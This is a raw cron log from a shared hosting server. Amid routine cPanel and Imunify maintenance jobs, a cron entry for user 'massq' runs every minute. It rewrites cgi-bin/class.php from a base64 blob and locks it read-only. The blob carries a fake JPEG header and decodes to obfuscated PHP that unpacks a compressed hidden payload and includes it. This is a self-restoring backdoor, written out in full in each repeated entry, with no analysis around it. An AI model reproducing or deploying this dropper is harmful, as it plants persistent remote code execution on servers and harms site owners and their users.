Sep 10 19:58:01 server CROND[3802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:59:01 server CROND[4187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:59:01 server CROND[4189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 19:59:01 server CROND[4188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:00:01 server CROND[4696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:00:01 server CROND[4695]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 20:00:01 server CROND[4697]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 20:00:01 server CROND[4700]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:00:01 server CROND[4705]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:00:01 server CROND[4709]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:00:01 server CROND[4710]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 20:00:01 server CROND[4711]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 20:00:01 server CROND[4715]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 20:00:01 server CROND[4706]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:01:01 server CROND[5558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:01:01 server CROND[5559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:01:01 server CROND[5557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:01:01 server CROND[5560]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 20:01:01 server run-parts(/etc/cron.hourly)[5560]: starting 0anacron
Sep 10 20:01:01 server run-parts(/etc/cron.hourly)[5580]: finished 0anacron
Sep 10 20:02:01 server CROND[5953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:02:01 server CROND[5954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:02:01 server CROND[5955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:03:01 server CROND[6334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:03:01 server CROND[6336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:03:01 server CROND[6337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:04:01 server CROND[6714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:04:01 server CROND[6715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:04:01 server CROND[6716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:05:01 server CROND[7202]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 10 20:05:01 server CROND[7203]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 20:05:01 server CROND[7204]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 20:05:01 server CROND[7211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:05:01 server CROND[7208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:05:01 server CROND[7209]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 20:05:01 server CROND[7207]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 20:05:01 server CROND[7210]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:05:01 server CROND[7212]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 20:06:01 server CROND[8064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:06:01 server CROND[8065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:06:01 server CROND[8066]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:07:01 server CROND[8450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:07:01 server CROND[8452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:07:01 server CROND[8453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:08:01 server CROND[8837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 20:08:01 server CROND[8838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:08:01 server CROND[8836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:09:01 server CROND[9279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 20:09:01 server CROND[9280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 20:09:01 server CROND[9282]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 20:09:01 server CROND[9281]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
